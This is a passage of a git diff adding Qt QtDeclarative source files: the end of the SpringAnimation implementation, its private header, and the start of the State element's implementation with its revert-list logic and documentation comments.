+ lastTime = time - (elapsed - count * 16);
+ } else {
+ lastTime = time;
+ }
+
+ QMutableHashIterator<QDeclarativeProperty, SpringAnimation> it(activeAnimations);
+ while (it.hasNext()) {
+ it.next();
+ if (animate(it.key(), it.value(), elapsed))
+ it.remove();
+ }
+
+ if (activeAnimations.isEmpty())
+ clock->stop();
+}
+
+bool QDeclarativeSpringAnimationPrivate::animate(const QDeclarativeProperty &property, SpringAnimation &animation, int elapsed)
+{
+ qreal srcVal = animation.to;
+
+ bool stop = false;
+
+ if (haveModulus) {
+ animation.currentValue = fmod(animation.currentValue, modulus);
+ srcVal = fmod(srcVal, modulus);
+ }
+ if (mode == Spring) {
+ // Real men solve the spring DEs using RK4.
+ // We'll do something much simpler which gives a result that looks fine.
+ int count = elapsed / 16;
+ for (int i = 0; i < count; ++i) {
+ qreal diff = srcVal - animation.currentValue;
+ if (haveModulus && qAbs(diff) > modulus / 2) {
+ if (diff < 0)
+ diff += modulus;
+ else
+ diff -= modulus;
+ }
+ if (useMass)
+ animation.velocity = animation.velocity + (spring * diff - damping * animation.velocity) / mass;
+ else
+ animation.velocity = animation.velocity + spring * diff - damping * animation.velocity;
+ if (maxVelocity > qreal(0.)) {
+ // limit velocity
+ if (animation.velocity > maxVelocity)
+ animation.velocity = maxVelocity;
+ else if (animation.velocity < -maxVelocity)
+ animation.velocity = -maxVelocity;
+ }
+ animation.currentValue += animation.velocity * qreal(16.0) / qreal(1000.0);
+ if (haveModulus) {
+ animation.currentValue = fmod(animation.currentValue, modulus);
+ if (animation.currentValue < qreal(0.0))
+ animation.currentValue += modulus;
+ }
+ }
+ if (qAbs(animation.velocity) < epsilon && qAbs(srcVal - animation.currentValue) < epsilon) {
+ animation.velocity = 0.0;
+ animation.currentValue = srcVal;
+ stop = true;
+ }
+ } else {
+ qreal moveBy = elapsed * velocityms;
+ qreal diff = srcVal - animation.currentValue;
+ if (haveModulus && qAbs(diff) > modulus / 2) {
+ if (diff < 0)
+ diff += modulus;
+ else
+ diff -= modulus;
+ }
+ if (diff > 0) {
+ animation.currentValue += moveBy;
+ if (haveModulus)
+ animation.currentValue = fmod(animation.currentValue, modulus);
+ } else {
+ animation.currentValue -= moveBy;
+ if (haveModulus && animation.currentValue < qreal(0.0))
+ animation.currentValue = fmod(animation.currentValue, modulus) + modulus;
+ }
+ if (lastTime - animation.start >= animation.duration) {
+ animation.currentValue = animation.to;
+ stop = true;
+ }
+ }
+
+ qreal old_to = animation.to;
+
+ QDeclarativePropertyPrivate::write(property, animation.currentValue,
+ QDeclarativePropertyPrivate::BypassInterceptor |
+ QDeclarativePropertyPrivate::DontRemoveBinding);
+
+ return (stop && old_to == animation.to); // do not stop if we got restarted
+}
+
+void QDeclarativeSpringAnimationPrivate::updateMode()
+{
+ if (spring == 0. && maxVelocity == 0.)
+ mode = Track;
+ else if (spring > 0.)
+ mode = Spring;
+ else {
+ mode = Velocity;
+ QHash<QDeclarativeProperty, SpringAnimation>::iterator it;
+ for (it = activeAnimations.begin(); it != activeAnimations.end(); ++it) {
+ SpringAnimation &animation = *it;
+ animation.start = lastTime;
+ qreal dist = qAbs(animation.currentValue - animation.to);
+ if (haveModulus && dist > modulus / 2)
+ dist = modulus - fmod(dist, modulus);
+ animation.duration = dist / velocityms;
+ }
+ }
+}
+
+/*!
+ \qmlclass SpringAnimation QDeclarativeSpringAnimation
+ \ingroup qml-animation-transition
+ \inherits NumberAnimation
+ \since 4.7
+
+ \brief The SpringAnimation element allows a property to track a value in a spring-like motion.
+
+ SpringAnimation mimics the oscillatory behavior of a spring, with the appropriate \l spring constant to
+ control the acceleration and the \l damping to control how quickly the effect dies away.
+
+ You can also limit the maximum \l velocity of the animation.
+
+ The following \l Rectangle moves to the position of the mouse using a
+ SpringAnimation when the mouse is clicked. The use of the \l Behavior
+ on the \c x and \c y values indicates that whenever these values are
+ changed, a SpringAnimation should be applied.
+
+ \snippet doc/src/snippets/declarative/springanimation.qml 0
+
+ Like any other animation element, a SpringAnimation can be applied in a
+ number of ways, including transitions, behaviors and property value
+ sources. The \l {QML Animation and Transitions} documentation shows a
+ variety of methods for creating animations.
+
+ \sa SmoothedAnimation, {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example}, {declarative/toys/clocks}{Clocks example}
+*/
+
+QDeclarativeSpringAnimation::QDeclarativeSpringAnimation(QObject *parent)
+: QDeclarativeNumberAnimation(*(new QDeclarativeSpringAnimationPrivate),parent)
+{
+ Q_D(QDeclarativeSpringAnimation);
+ d->clock = new QDeclarativeSpringAnimationPrivate::Clock(d, this);
+}
+
+QDeclarativeSpringAnimation::~QDeclarativeSpringAnimation()
+{
+}
+
+/*!
+ \qmlproperty real SpringAnimation::velocity
+
+ This property holds the maximum velocity allowed when tracking the source.
+
+ The default value is 0 (no maximum velocity).
+*/
+
+qreal QDeclarativeSpringAnimation::velocity() const
+{
+ Q_D(const QDeclarativeSpringAnimation);
+ return d->maxVelocity;
+}
+
+void QDeclarativeSpringAnimation::setVelocity(qreal velocity)
+{
+ Q_D(QDeclarativeSpringAnimation);
+ d->maxVelocity = velocity;
+ d->velocityms = velocity / 1000.0;
+ d->updateMode();
+}
+
+/*!
+ \qmlproperty real SpringAnimation::spring
+
+ This property describes how strongly the target is pulled towards the
+ source. The default value is 0 (that is, the spring-like motion is disabled).
+
+ The useful value range is 0 - 5.0.
+
+ When this property is set and the \l velocity value is greater than 0,
+ the \l velocity limits the maximum speed.
+*/
+qreal QDeclarativeSpringAnimation::spring() const
+{
+ Q_D(const QDeclarativeSpringAnimation);
+ return d->spring;
+}
+
+void QDeclarativeSpringAnimation::setSpring(qreal spring)
+{
+ Q_D(QDeclarativeSpringAnimation);
+ d->spring = spring;
+ d->updateMode();
+}
+
+/*!
+ \qmlproperty real SpringAnimation::damping
+ This property holds the spring damping value.
+
+ This value describes how quickly the spring-like motion comes to rest.
+ The default value is 0.
+
+ The useful value range is 0 - 1.0. The lower the value, the faster it
+ comes to rest.
+*/
+qreal QDeclarativeSpringAnimation::damping() const
+{
+ Q_D(const QDeclarativeSpringAnimation);
+ return d->damping;
+}
+
+void QDeclarativeSpringAnimation::setDamping(qreal damping)
+{
+ Q_D(QDeclarativeSpringAnimation);
+ if (damping > 1.)
+ damping = 1.;
+
+ d->damping = damping;
+}
+
+
+/*!
+ \qmlproperty real SpringAnimation::epsilon
+ This property holds the spring epsilon.
+
+ The epsilon is the rate and amount of change in the value which is close enough
+ to 0 to be considered equal to zero. This will depend on the usage of the value.
+ For pixel positions, 0.25 would suffice. For scale, 0.005 will suffice.
+
+ The default is 0.01. Tuning this value can provide small performance improvements.
+*/
+qreal QDeclarativeSpringAnimation::epsilon() const
+{
+ Q_D(const QDeclarativeSpringAnimation);
+ return d->epsilon;
+}
+
+void QDeclarativeSpringAnimation::setEpsilon(qreal epsilon)
+{
+ Q_D(QDeclarativeSpringAnimation);
+ d->epsilon = epsilon;
+}
+
+/*!
+ \qmlproperty real SpringAnimation::modulus
+ This property holds the modulus value. The default value is 0.
+
+ Setting a \a modulus forces the target value to "wrap around" at the modulus.
+ For example, setting the modulus to 360 will cause a value of 370 to wrap around to 10.
+*/
+qreal QDeclarativeSpringAnimation::modulus() const
+{
+ Q_D(const QDeclarativeSpringAnimation);
+ return d->modulus;
+}
+
+void QDeclarativeSpringAnimation::setModulus(qreal modulus)
+{
+ Q_D(QDeclarativeSpringAnimation);
+ if (d->modulus != modulus) {
+ d->haveModulus = modulus != 0.0;
+ d->modulus = modulus;
+ d->updateMode();
+ emit modulusChanged();
+ }
+}
+
+/*!
+ \qmlproperty real SpringAnimation::mass
+ This property holds the "mass" of the property being moved.
+
+ The value is 1.0 by default.
+
+ A greater mass causes slower movement and a greater spring-like
+ motion when an item comes to rest.
+*/
+qreal QDeclarativeSpringAnimation::mass() const
+{
+ Q_D(const QDeclarativeSpringAnimation);
+ return d->mass;
+}
+
+void QDeclarativeSpringAnimation::setMass(qreal mass)
+{
+ Q_D(QDeclarativeSpringAnimation);
+ if (d->mass != mass && mass > 0.0) {
+ d->useMass = mass != 1.0;
+ d->mass = mass;
+ emit massChanged();
+ }
+}
+
+void QDeclarativeSpringAnimation::transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction)
+{
+ Q_D(QDeclarativeSpringAnimation);
+ Q_UNUSED(direction);
+
+ if (d->clock->state() != QAbstractAnimation::Running) {
+ d->lastTime = 0;
+ }
+
+ QDeclarativeNumberAnimation::transition(actions, modified, direction);
+
+ if (!d->actions)
+ return;
+
+ if (!d->actions->isEmpty()) {
+ for (int i = 0; i < d->actions->size(); ++i) {
+ const QDeclarativeProperty &property = d->actions->at(i).property;
+ QDeclarativeSpringAnimationPrivate::SpringAnimation &animation
+ = d->activeAnimations[property];
+ animation.to = d->actions->at(i).toValue.toReal();
+ animation.start = d->lastTime;
+ if (d->fromIsDefined)
+ animation.currentValue = d->actions->at(i).fromValue.toReal();
+ else
+ animation.currentValue = property.read().toReal();
+ if (d->mode == QDeclarativeSpringAnimationPrivate::Velocity) {
+ qreal dist = qAbs(animation.currentValue - animation.to);
+ if (d->haveModulus && dist > d->modulus / 2)
+ dist = d->modulus - fmod(dist, d->modulus);
+ animation.duration = dist / d->velocityms;
+ }
+ }
+ }
+}
+
+
+QAbstractAnimation *QDeclarativeSpringAnimation::qtAnimation()
+{
+ Q_D(QDeclarativeSpringAnimation);
+ return d->clock;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativespringanimation_p.h b/src/declarative/util/qdeclarativespringanimation_p.h
new file mode 100644
index 00000000..0ae7dd4b
--- /dev/null
+++ b/src/declarative/util/qdeclarativespringanimation_p.h
@@ -0,0 +1,111 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVESPRINGANIMATION_H
+#define QDECLARATIVESPRINGANIMATION_H
+
+#include <qdeclarative.h>
+#include "private/qdeclarativeanimation_p.h"
+
+#include <QtCore/qobject.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeSpringAnimationPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeSpringAnimation : public QDeclarativeNumberAnimation
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeSpringAnimation)
+ Q_INTERFACES(QDeclarativePropertyValueSource)
+
+ Q_PROPERTY(qreal velocity READ velocity WRITE setVelocity)
+ Q_PROPERTY(qreal spring READ spring WRITE setSpring)
+ Q_PROPERTY(qreal damping READ damping WRITE setDamping)
+ Q_PROPERTY(qreal epsilon READ epsilon WRITE setEpsilon)
+ Q_PROPERTY(qreal modulus READ modulus WRITE setModulus NOTIFY modulusChanged)
+ Q_PROPERTY(qreal mass READ mass WRITE setMass NOTIFY massChanged)
+
+public:
+ QDeclarativeSpringAnimation(QObject *parent=0);
+ ~QDeclarativeSpringAnimation();
+
+ qreal velocity() const;
+ void setVelocity(qreal velocity);
+
+ qreal spring() const;
+ void setSpring(qreal spring);
+
+ qreal damping() const;
+ void setDamping(qreal damping);
+
+ qreal epsilon() const;
+ void setEpsilon(qreal epsilon);
+
+ qreal mass() const;
+ void setMass(qreal modulus);
+
+ qreal modulus() const;
+ void setModulus(qreal modulus);
+
+ virtual void transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction);
+
+protected:
+ virtual QAbstractAnimation *qtAnimation();
+
+Q_SIGNALS:
+ void modulusChanged();
+ void massChanged();
+ void syncChanged();
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeSpringAnimation)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVESPRINGANIMATION_H
diff --git a/src/declarative/util/qdeclarativestate.cpp b/src/declarative/util/qdeclarativestate.cpp
new file mode 100644
index 00000000..23871088
--- /dev/null
+++ b/src/declarative/util/qdeclarativestate.cpp
@@ -0,0 +1,742 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativestate_p_p.h"
+#include "private/qdeclarativestate_p.h"
+
+#include "private/qdeclarativetransition_p.h"
+#include "private/qdeclarativestategroup_p.h"
+#include "private/qdeclarativestateoperations_p.h"
+#include "private/qdeclarativeanimation_p.h"
+#include "private/qdeclarativeanimation_p_p.h"
+
+#include <qdeclarativebinding_p.h>
+#include <qdeclarativeglobal_p.h>
+
+#include <QtCore/qdebug.h>
+
+QT_BEGIN_NAMESPACE
+
+DEFINE_BOOL_CONFIG_OPTION(stateChangeDebug, STATECHANGE_DEBUG);
+
+QDeclarativeAction::QDeclarativeAction()
+: restore(true), actionDone(false), reverseEvent(false), deletableToBinding(false), fromBinding(0), event(0),
+ specifiedObject(0)
+{
+}
+
+QDeclarativeAction::QDeclarativeAction(QObject *target, const QString &propertyName,
+ const QVariant &value)
+: restore(true), actionDone(false), reverseEvent(false), deletableToBinding(false),
+ property(target, propertyName, qmlEngine(target)), toValue(value),
+ fromBinding(0), event(0),
+ specifiedObject(target), specifiedProperty(propertyName)
+{
+ if (property.isValid())
+ fromValue = property.read();
+}
+
+QDeclarativeAction::QDeclarativeAction(QObject *target, const QString &propertyName,
+ QDeclarativeContext *context, const QVariant &value)
+: restore(true), actionDone(false), reverseEvent(false), deletableToBinding(false),
+ property(target, propertyName, context), toValue(value),
+ fromBinding(0), event(0),
+ specifiedObject(target), specifiedProperty(propertyName)
+{
+ if (property.isValid())
+ fromValue = property.read();
+}
+
+
+QDeclarativeActionEvent::~QDeclarativeActionEvent()
+{
+}
+
+QString QDeclarativeActionEvent::typeName() const
+{
+ return QString();
+}
+
+void QDeclarativeActionEvent::execute(Reason)
+{
+}
+
+bool QDeclarativeActionEvent::isReversable()
+{
+ return false;
+}
+
+void QDeclarativeActionEvent::reverse(Reason)
+{
+}
+
+bool QDeclarativeActionEvent::changesBindings()
+{
+ return false;
+}
+
+void QDeclarativeActionEvent::clearBindings()
+{
+}
+
+bool QDeclarativeActionEvent::override(QDeclarativeActionEvent *other)
+{
+ Q_UNUSED(other);
+ return false;
+}
+
+QDeclarativeStateOperation::QDeclarativeStateOperation(QObjectPrivate &dd, QObject *parent)
+ : QObject(dd, parent)
+{
+}
+
+/*!
+ \qmlclass State QDeclarativeState
+ \ingroup qml-state-elements
+ \since 4.7
+ \brief The State element defines configurations of objects and properties.
+
+ A \e state is a set of batched changes from the default configuration.
+
+ All items have a default state that defines the default configuration of objects
+ and property values. New states can be defined by adding State items to the \l {Item::states}{states} property to
+ allow items to switch between different configurations. These configurations
+ can, for example, be used to apply different sets of property values or execute
+ different scripts.
+
+ The following example displays a single \l Rectangle. In the default state, the rectangle
+ is colored black. In the "clicked" state, a PropertyChanges element changes the
+ rectangle's color to red. Clicking within the MouseArea toggles the rectangle's state
+ between the default state and the "clicked" state, thus toggling the color of the
+ rectangle between black and red.
+
+ \snippet doc/src/snippets/declarative/state.qml 0
+
+ Notice the default state is referred to using an empty string ("").
+
+ States are commonly used together with \l{QML Animation and Transitions}{Transitions} to provide
+ animations when state changes occur.
+
+ \note Setting the state of an object from within another state of the same object is
+ not allowed.
+
+ \sa {declarative/animation/states}{states example}, {qmlstates}{States},
+ {QML Animation and Transitions}{Transitions}, QtDeclarative
+*/
+QDeclarativeState::QDeclarativeState(QObject *parent)
+: QObject(*(new QDeclarativeStatePrivate), parent)
+{
+ Q_D(QDeclarativeState);
+ d->transitionManager.setState(this);
+}
+
+QDeclarativeState::~QDeclarativeState()
+{
+ Q_D(QDeclarativeState);
+ if (d->group)
+ d->group->removeState(this);
+
+ /*
+ destroying an active state does not return us to the
+ base state, so we need to clean up our revert list to
+ prevent leaks. In the future we may want to redconsider
+ this overall architecture.
+ */
+ for (int i = 0; i < d->revertList.count(); ++i) {
+ if (d->revertList.at(i).binding()) {
+ d->revertList.at(i).binding()->destroy();
+ }
+ }
+}
+
+/*!
+ \qmlproperty string State::name
+ This property holds the name of the state.
+
+ Each state should have a unique name within its item.
+*/
+QString QDeclarativeState::name() const
+{
+ Q_D(const QDeclarativeState);
+ return d->name;
+}
+
+void QDeclarativeState::setName(const QString &n)
+{
+ Q_D(QDeclarativeState);
+ d->name = n;
+ d->named = true;
+}
+
+bool QDeclarativeState::isNamed() const
+{
+ Q_D(const QDeclarativeState);
+ return d->named;
+}
+
+bool QDeclarativeState::isWhenKnown() const
+{
+ Q_D(const QDeclarativeState);
+ return d->when != 0;
+}
+
+/*!
+ \qmlproperty bool State::when
+ This property holds when the state should be applied.
+
+ This should be set to an expression that evaluates to \c true when you want the state to
+ be applied. For example, the following \l Rectangle changes in and out of the "hidden"
+ state when the \l MouseArea is pressed:
+
+ \snippet doc/src/snippets/declarative/state-when.qml 0
+
+ If multiple states in a group have \c when clauses that evaluate to \c true
+ at the same time, the first matching state will be applied. For example, in
+ the following snippet \c state1 will always be selected rather than
+ \c state2 when sharedCondition becomes \c true.
+ \qml
+ Item {
+ states: [
+ State { name: "state1"; when: sharedCondition },
+ State { name: "state2"; when: sharedCondition }
+ ]
+ // ...
+ }
+ \endqml
+*/
+QDeclarativeBinding *QDeclarativeState::when() const
+{
+ Q_D(const QDeclarativeState);
+ return d->when;
+}
+
+void QDeclarativeState::setWhen(QDeclarativeBinding *when)
+{
+ Q_D(QDeclarativeState);
+ d->when = when;
+ if (d->group)
+ d->group->updateAutoState();
+}
+
+/*!
+ \qmlproperty string State::extend
+ This property holds the state that this state extends.
+
+ When a state extends another state, it inherits all the changes of that state.
+
+ The state being extended is treated as the base state in regards to
+ the changes specified by the extending state.
+*/
+QString QDeclarativeState::extends() const
+{
+ Q_D(const QDeclarativeState);
+ return d->extends;
+}
+
+void QDeclarativeState::setExtends(const QString &extends)
+{
+ Q_D(QDeclarativeState);
+ d->extends = extends;
+}
+
+/*!
+ \qmlproperty list<Change> State::changes
+ This property holds the changes to apply for this state
+ \default
+
+ By default these changes are applied against the default state. If the state
+ extends another state, then the changes are applied against the state being
+ extended.
+*/
+QDeclarativeListProperty<QDeclarativeStateOperation> QDeclarativeState::changes()
+{
+ Q_D(QDeclarativeState);
+ return QDeclarativeListProperty<QDeclarativeStateOperation>(this, &d->operations, QDeclarativeStatePrivate::operations_append,
+ QDeclarativeStatePrivate::operations_count, QDeclarativeStatePrivate::operations_at,
+ QDeclarativeStatePrivate::operations_clear);
+}
+
+int QDeclarativeState::operationCount() const
+{
+ Q_D(const QDeclarativeState);
+ return d->operations.count();
+}
+
+QDeclarativeStateOperation *QDeclarativeState::operationAt(int index) const
+{
+ Q_D(const QDeclarativeState);
+ return d->operations.at(index);
+}
+
+QDeclarativeState &QDeclarativeState::operator<<(QDeclarativeStateOperation *op)
+{
+ Q_D(QDeclarativeState);
+ d->operations.append(QDeclarativeStatePrivate::OperationGuard(op, &d->operations));
+ return *this;
+}
+
+void QDeclarativeStatePrivate::complete()
+{
+ Q_Q(QDeclarativeState);
+
+ for (int ii = 0; ii < reverting.count(); ++ii) {
+ for (int jj = 0; jj < revertList.count(); ++jj) {
+ if (revertList.at(jj).property() == reverting.at(ii)) {
+ revertList.removeAt(jj);
+ break;
+ }
+ }
+ }
+ reverting.clear();
+
+ emit q->completed();
+}
+
+// Generate a list of actions for this state. This includes coelescing state
+// actions that this state "extends"
+QDeclarativeStateOperation::ActionList
+QDeclarativeStatePrivate::generateActionList(QDeclarativeStateGroup *group) const
+{
+ QDeclarativeStateOperation::ActionList applyList;
+ if (inState)
+ return applyList;
+
+ // Prevent "extends" recursion
+ inState = true;
+
+ if (!extends.isEmpty()) {
+ QList<QDeclarativeState *> states = group->states();
+ for (int ii = 0; ii < states.count(); ++ii)
+ if (states.at(ii)->name() == extends) {
+ qmlExecuteDeferred(states.at(ii));
+ applyList = static_cast<QDeclarativeStatePrivate*>(states.at(ii)->d_func())->generateActionList(group);
+ }
+ }
+
+ foreach(QDeclarativeStateOperation *op, operations)
+ applyList << op->actions();
+
+ inState = false;
+ return applyList;
+}
+
+QDeclarativeStateGroup *QDeclarativeState::stateGroup() const
+{
+ Q_D(const QDeclarativeState);
+ return d->group;
+}
+
+void QDeclarativeState::setStateGroup(QDeclarativeStateGroup *group)
+{
+ Q_D(QDeclarativeState);
+ d->group = group;
+}
+
+void QDeclarativeState::cancel()
+{
+ Q_D(QDeclarativeState);
+ d->transitionManager.cancel();
+}
+
+void QDeclarativeAction::deleteFromBinding()
+{
+ if (fromBinding) {
+ QDeclarativePropertyPrivate::setBinding(property, 0);
+ fromBinding->destroy();
+ fromBinding = 0;
+ }
+}
+
+bool QDeclarativeState::containsPropertyInRevertList(QObject *target, const QString &name) const
+{
+ Q_D(const QDeclarativeState);
+
+ if (isStateActive()) {
+ QListIterator<QDeclarativeSimpleAction> revertListIterator(d->revertList);
+
+ while (revertListIterator.hasNext()) {
+ const QDeclarativeSimpleAction &simpleAction = revertListIterator.next();
+ if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name)
+ return true;
+ }
+ }
+
+ return false;
+}
+
+bool QDeclarativeState::changeValueInRevertList(QObject *target, const QString &name, const QVariant &revertValue)
+{
+ Q_D(QDeclarativeState);
+
+ if (isStateActive()) {
+ QMutableListIterator<QDeclarativeSimpleAction> revertListIterator(d->revertList);
+
+ while (revertListIterator.hasNext()) {
+ QDeclarativeSimpleAction &simpleAction = revertListIterator.next();
+ if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) {
+ simpleAction.setValue(revertValue);
+ return true;
+ }
+ }
+ }
+
+ return false;
+}
+
+bool QDeclarativeState::changeBindingInRevertList(QObject *target, const QString &name, QDeclarativeAbstractBinding *binding)
+{
+ Q_D(QDeclarativeState);
+
+ if (isStateActive()) {
+ QMutableListIterator<QDeclarativeSimpleAction> revertListIterator(d->revertList);
+
+ while (revertListIterator.hasNext()) {
+ QDeclarativeSimpleAction &simpleAction = revertListIterator.next();
+ if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) {
+ if (simpleAction.binding())
+ simpleAction.binding()->destroy();
+
+ simpleAction.setBinding(binding);
+ return true;
+ }
+ }
+ }
+
+ return false;
+}
+
+bool QDeclarativeState::removeEntryFromRevertList(QObject *target, const QString &name)
+{
+ Q_D(QDeclarativeState);
+
+ if (isStateActive()) {
+ QMutableListIterator<QDeclarativeSimpleAction> revertListIterator(d->revertList);
+
+ while (revertListIterator.hasNext()) {
+ QDeclarativeSimpleAction &simpleAction = revertListIterator.next();
+ if (simpleAction.property().object() == target && simpleAction.property().name() == name) {
+ QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(simpleAction.property());
+ if (oldBinding) {
+ QDeclarativePropertyPrivate::setBinding(simpleAction.property(), 0);
+ oldBinding->destroy();
+ }
+
+ simpleAction.property().write(simpleAction.value());
+ if (simpleAction.binding())
+ QDeclarativePropertyPrivate::setBinding(simpleAction.property(), simpleAction.binding());
+
+ revertListIterator.remove();
+ return true;
+ }
+ }
+ }
+
+ return false;
+}
+
+void QDeclarativeState::addEntryToRevertList(const QDeclarativeAction &action)
+{
+ Q_D(QDeclarativeState);
+
+ QDeclarativeSimpleAction simpleAction(action);
+
+ d->revertList.append(simpleAction);
+}
+
+void QDeclarativeState::removeAllEntriesFromRevertList(QObject *target)
+{
+ Q_D(QDeclarativeState);
+
+ if (isStateActive()) {
+ QMutableListIterator<QDeclarativeSimpleAction> revertListIterator(d->revertList);
+
+ while (revertListIterator.hasNext()) {
+ QDeclarativeSimpleAction &simpleAction = revertListIterator.next();
+ if (simpleAction.property().object() == target) {
+ QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(simpleAction.property());
+ if (oldBinding) {
+ QDeclarativePropertyPrivate::setBinding(simpleAction.property(), 0);
+ oldBinding->destroy();
+ }
+
+ simpleAction.property().write(simpleAction.value());
+ if (simpleAction.binding())
+ QDeclarativePropertyPrivate::setBinding(simpleAction.property(), simpleAction.binding());
+
+ revertListIterator.remove();
+ }
+ }
+ }
+}
+
+void QDeclarativeState::addEntriesToRevertList(const QList<QDeclarativeAction> &actionList)
+{
+ Q_D(QDeclarativeState);
+ if (isStateActive()) {
+ QList<QDeclarativeSimpleAction> simpleActionList;
+
+ QListIterator<QDeclarativeAction> actionListIterator(actionList);
+ while(actionListIterator.hasNext()) {
+ const QDeclarativeAction &action = actionListIterator.next();
+ QDeclarativeSimpleAction simpleAction(action);
+ action.property.write(action.toValue);
+ if (!action.toBinding.isNull()) {
+ QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(simpleAction.property());
+ if (oldBinding)
+ QDeclarativePropertyPrivate::setBinding(simpleAction.property(), 0);
+ QDeclarativePropertyPrivate::setBinding(simpleAction.property(), action.toBinding.data(), QDeclarativePropertyPrivate::DontRemoveBinding);
+ }
+
+ simpleActionList.append(simpleAction);
+ }
+
+ d->revertList.append(simpleActionList);
+ }
+}
+
+QVariant QDeclarativeState::valueInRevertList(QObject *target, const QString &name) const
+{
+ Q_D(const QDeclarativeState);
+
+ if (isStateActive()) {
+ QListIterator<QDeclarativeSimpleAction> revertListIterator(d->revertList);
+
+ while (revertListIterator.hasNext()) {
+ const QDeclarativeSimpleAction &simpleAction = revertListIterator.next();
+ if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name)
+ return simpleAction.value();
+ }
+ }
+
+ return QVariant();
+}
+
+QDeclarativeAbstractBinding *QDeclarativeState::bindingInRevertList(QObject *target, const QString &name) const
+{
+ Q_D(const QDeclarativeState);
+
+ if (isStateActive()) {
+ QListIterator<QDeclarativeSimpleAction> revertListIterator(d->revertList);
+
+ while (revertListIterator.hasNext()) {
+ const QDeclarativeSimpleAction &simpleAction = revertListIterator.next();
+ if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name)
+ return simpleAction.binding();
+ }
+ }
+
+ return 0;
+}
+
+bool QDeclarativeState::isStateActive() const
+{
+ return stateGroup() && stateGroup()->state() == name();
+}
+
+void QDeclarativeState::apply(QDeclarativeStateGroup *group, QDeclarativeTransition *trans, QDeclarativeState *revert)
+{
+ Q_D(QDeclarativeState);
+
+ qmlExecuteDeferred(this);
+
+ cancel();
+ if (revert)
+ revert->cancel();
+ d->revertList.clear();
+ d->reverting.clear();
+
+ if (revert) {
+ QDeclarativeStatePrivate *revertPrivate =
+ static_cast<QDeclarativeStatePrivate*>(revert->d_func());
+ d->revertList = revertPrivate->revertList;
+ revertPrivate->revertList.clear();
+ }
+
+ // List of actions caused by this state
+ QDeclarativeStateOperation::ActionList applyList = d->generateActionList(group);
+
+ // List of actions that need to be reverted to roll back (just) this state
+ QDeclarativeStatePrivate::SimpleActionList additionalReverts;
+ // First add the reverse of all the applyList actions
+ for (int ii = 0; ii < applyList.count(); ++ii) {
+ QDeclarativeAction &action = applyList[ii];
+
+ if (action.event) {
+ if (!action.event->isReversable())
+ continue;
+ bool found = false;
+ for (int jj = 0; jj < d->revertList.count(); ++jj) {
+ QDeclarativeActionEvent *event = d->revertList.at(jj).event();
+ if (event && event->typeName() == action.event->typeName()) {
+ if (action.event->override(event)) {
+ found = true;
+
+ if (action.event != d->revertList.at(jj).event() && action.event->needsCopy()) {
+ action.event->copyOriginals(d->revertList.at(jj).event());
+
+ QDeclarativeSimpleAction r(action);
